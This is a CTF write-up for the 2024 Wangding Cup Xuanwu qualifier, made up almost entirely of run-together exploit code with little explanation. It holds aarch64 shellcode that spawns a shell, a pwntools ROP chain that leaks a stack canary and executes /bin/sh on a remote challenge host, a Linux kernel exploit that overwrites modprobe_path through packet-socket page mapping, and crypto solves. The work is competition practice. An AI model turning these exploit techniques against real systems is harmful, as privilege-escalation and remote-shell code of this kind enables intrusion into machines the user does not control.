2024 网鼎杯玄武组资格赛writeup by W4ntY0u

int main(){asm volatile("adr x0, cmdn""str x0, [sp]n""mov x0, #2n""str x0, [sp, #8]n""mov x0, #0x12n""mov x1, spn""hlt #0xf000n""cmd: .ascii "sh""        ::: "memory"    );return 0;}

aarch64-linux-gnu-gcc main.c -o main_exp

E0000010E00300F9400080D2E00700F9400280D2E103009100005ED47368000000008052C0035FD6

from pwn import *
p = remote("ip", port)
a = b64e(open('./exp', 'rb').read()).encode()p.sendlineafter(b'file: ', a)p.interactive()

from pwn import *r=remote('0192f5595a447f1a8f422e5e796013f2.ey5v.dg03.ciihw.cn',44845)# r=process('./pwn')elf=ELF('./pwn')
libc = elf.libc
pop_rdi = 0x000000000040213f#: pop rdi; ret;pop_rsi = 0x000000000040a1ae#: pop rsi; ret; pop_rdx_rbx = 0x0000000000485feb#: pop rdx; pop rbx; ret;pop_rax = 0x0000000000450277#: pop rax; ret;syscall = 0x000000000041ac26#: syscall; ret;r.recvuntil('gift: ')canary = int(r.recv(18),16)print("canary----------------->",hex(canary))

r.recvuntil('leave your name')payload = p64(0xffffffffffffffff)*5+p64(0x100000000001)+p64(0xaaaaaaaaaaaaaaaa)*2r.send(payload)

r.recvuntil('Wanna return?')r.send('a')
r.recvuntil('once again?')payload = 'a'*0x100r.send(payload)


r.recvuntil('once again?')payload = p64(0x1111111111111111)*0x21 + p64(canary)*2payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4C7F00) + p64(pop_rdx_rbx) + p64(0x400)*2 + p64(syscall)payload += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(0x4c7f00) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0)*2 + p64(syscall)# gdb.attach(r)r.send(payload)
pause()payload = '/bin/shx00' r.sendline(payload)# gdb.attach(r)r.interactive()

#define _GNU_SOURCE
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/socket.h>


#define COLOR_GREEN "33[32m"
#define COLOR_RED "33[31m"
#define COLOR_YELLOW "33[33m"
#define COLOR_DEFAULT "33[0m"


#define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                      
do {                                   
                loge(fmt, ##__VA_ARGS__);          
                loge("Exit at line %d", __LINE__); 
exit(1);                           
        } while (0)




#define PIPE_SPRAY_NUM 1
int fd;
int orig_pid = -1, victim_pid = -1;
int pipe_fd[PIPE_SPRAY_NUM][2];
size_t kernel_base=0;


void unshare_setup(){
int temp_fd;
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];


if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET))
    {
        perror("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
exit(1);
    }


    temp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(temp_fd, "deny", strlen("deny"));
    close(temp_fd);


    temp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write(temp_fd, buffer, strlen(buffer));
    close(temp_fd);


    temp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write(temp_fd, buffer, strlen(buffer));
    close(temp_fd);
return;
}


int create_socket_and_alloc_pages(unsigned int size, unsigned int nr){
struct tpacket_req req;
int socket_fd, version;
int ret;


    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0)
    {
        die("failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)n");
        ret = socket_fd;
goto err_out;
    }


    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if (ret < 0)
    {
        die("failed at setsockopt(PACKET_VERSION)n");
goto err_setsockopt;
    }


memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;


    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if (ret < 0)
    {
        die("failed at setsockopt(PACKET_TX_RING)n");
goto err_setsockopt;
    }


return socket_fd;


err_setsockopt:
    close(socket_fd);
err_out:
return ret;
}


int packet_socket_setup(uint32_t block_size, uint32_t frame_size,
uint32_t block_nr, uint32_t sizeof_priv, int timeout){
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0)
    {
        perror("[-] socket (AF_PACKET)");
exit(1);
    }


int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0)
    {
        perror("[-] setsockopt (PACKET_VERSION)");
exit(1);
    }


struct tpacket_req3 req3;
memset(&req3, 0, sizeof(req3));
    req3.tp_sizeof_priv = sizeof_priv;
    req3.tp_block_nr = block_nr;
    req3.tp_block_size = block_size;
    req3.tp_frame_size = frame_size;
    req3.tp_frame_nr = (block_size * block_nr) / frame_size;
    req3.tp_retire_blk_tov = timeout;
    req3.tp_feature_req_word = 0;


    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));
if (rv < 0)
    {
        perror("[-] setsockopt (PACKET_RX_RING)");
exit(1);
    }


struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_halen = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;


    rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0)
    {
        perror("[-] bind (AF_PACKET)");
exit(1);
    }


return s;
}
void main(){
    unshare_setup();
char* buf[0x1000];
    fd=open("/dev/easy",O_RDWR);
if (fd<0)
    {
        die("/dev/easy");
    }
    ioctl(fd,0,0x400);
    ioctl(fd,1,0x400);
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
    {


if (pipe(pipe_fd[i]) < 0)
        {
            die("failed to alloc %d pipe!", i);
        }
    }
for (int i = 0; i < PIPE_SPRAY_NUM; i++)
    {
        write(pipe_fd[i][1], "a", 8);
    }
    read(fd,buf,0x40);
    kernel_base=*(size_t *)(buf+2)-0xa33200;
    logi("kernel_base :%llx",kernel_base);




    ioctl(fd,1,0x400);
int block_nr = 0x400 / 0x8;
int packet_fds = packet_socket_setup(0x1000, 0x800, block_nr, 0, 1000);


    *(size_t *)buf=kernel_base+0xe58000;
    write(fd,buf,0x8);
char *page = mmap(NULL, 0x1000 * block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds, 0);    
if(page < 0){        
        die("page");   
    }
memcpy(page + 0xb80, "/tmp/modprobe", 14);
    system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");    
    system("echo '#!/bin/shnchmod 777 /flag' > /tmp/modprobe");    
    system("chmod +x /tmp/modprobe");    
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");


}

"""$> ssh-keygen -f base64.pub.key -e -m PKCS8 >public.key.pem255"""

from Crypto.PublicKey import RSA
path = 'public.key.pem'
with open(path, 'r') as f:key = RSA.import_key(f.read())e = key.en = key.nprint(f'e: {e} ')print(f'n: {n} ')
"""e: 65537
n:1547313234205595455878074350337711262879930458419864589526 7270016124133490922098456166112042641326832865833651985277 5304576780744439804331085798302989621339474335277128655905 8543156663298343084350194669565588737238347971603891731726 9141215074859439934216381040714018271595168426357226026198 7651766180210810224152212373370447759543939164971068994075 8920045395592384906328852640372553178169995925146775639702 5462984686365248488495366710314704482655593149707807258497 4776522254450699943765269853108248047391942598122243597928 1657356279778452594305430394526113108749923548260319150429 2886444952159639040155783760580411749"""# 尝试yafu分解  很快就能分出  p,q

p =124391046068661849479368048442368264528688137061859889420748135089530711531982879099228365579453507914971808645098707899792342947071605270753221189146520461936329644320307671256282476976106892669621936765657513838321041373894048138250076354093023213535042038834560618477692450327056145702068970492978556584563q =124391046068661849479368048442368264528688137061859889420748135089530711531982879099228365579453507914971808645098707899792342947071605270753221189146520461936329644320307671256282476976106892669621936765657513838321041373894048138250076354093023213535042038834560618477692450327056145702068970492978556583623
N = p * q # key.n factorizee = 65537 # key.ephi = (p - 1) * (q - 1)d = pow(e, -1, phi)

import base64from Crypto.Cipher import AESimport zlib
def decrypt(encrypted_data):# Step 1: Base64 decodingtry:        data = base64.b64decode(encrypted_data)except Exception as e:raise ValueError("Base64 decoding failed") from e
# # Debug: Print Base64 decoded length# print(f"Decoded Base64 length: {len(data)}")
# Step 2: XOR operation    xor_key = "121b8df8c86ca5b4"    xor_key_bytes = xor_key.encode('utf-8')    data = bytearray(data)for i in range(len(data)):        data[i] ^= xor_key_bytes[(i + 1) & 15]
# # Debug: Print XOR processed length# print(f"XOR processed length: {len(data)}")
# Ensure the data is a multiple of 16 in lengthif len(data) % 16 != 0:        padding_length = 16 - (len(data) % 16)        data.extend(b'' * padding_length)  # Pad with null bytes
# Step 3: AES decryption    raw_key = "2ed2bf6465e2ddc4".encode('utf-8')    cipher = AES.new(raw_key, AES.MODE_ECB)    decrypted = cipher.decrypt(bytes(data))
# # Debug: Print decrypted length and first few bytes# print(f"Decrypted length: {len(decrypted)}")# print(f"Decrypted data (first 64 bytes): {decrypted[:64]}")
# Step 4: Attempt decompression using zlibtry:        decompressed = zlib.decompress(decrypted)return decompressedexcept zlib.error as e:# print("Decompression failed, returning raw decrypted data")return decrypted
if __name__ == "__main__":# 读取文件内容with open('encrypted_data.txt', 'r') as file:        encrypted_data = file.read().strip()  # 去掉任何可能的空白字符
try:        decrypted_data = decrypt(encrypted_data)        print(decrypted_data.decode('utf-8', errors='ignore'))  # Ignore errors for debuggingexcept Exception as e:        print(f"An error occurred: {e}")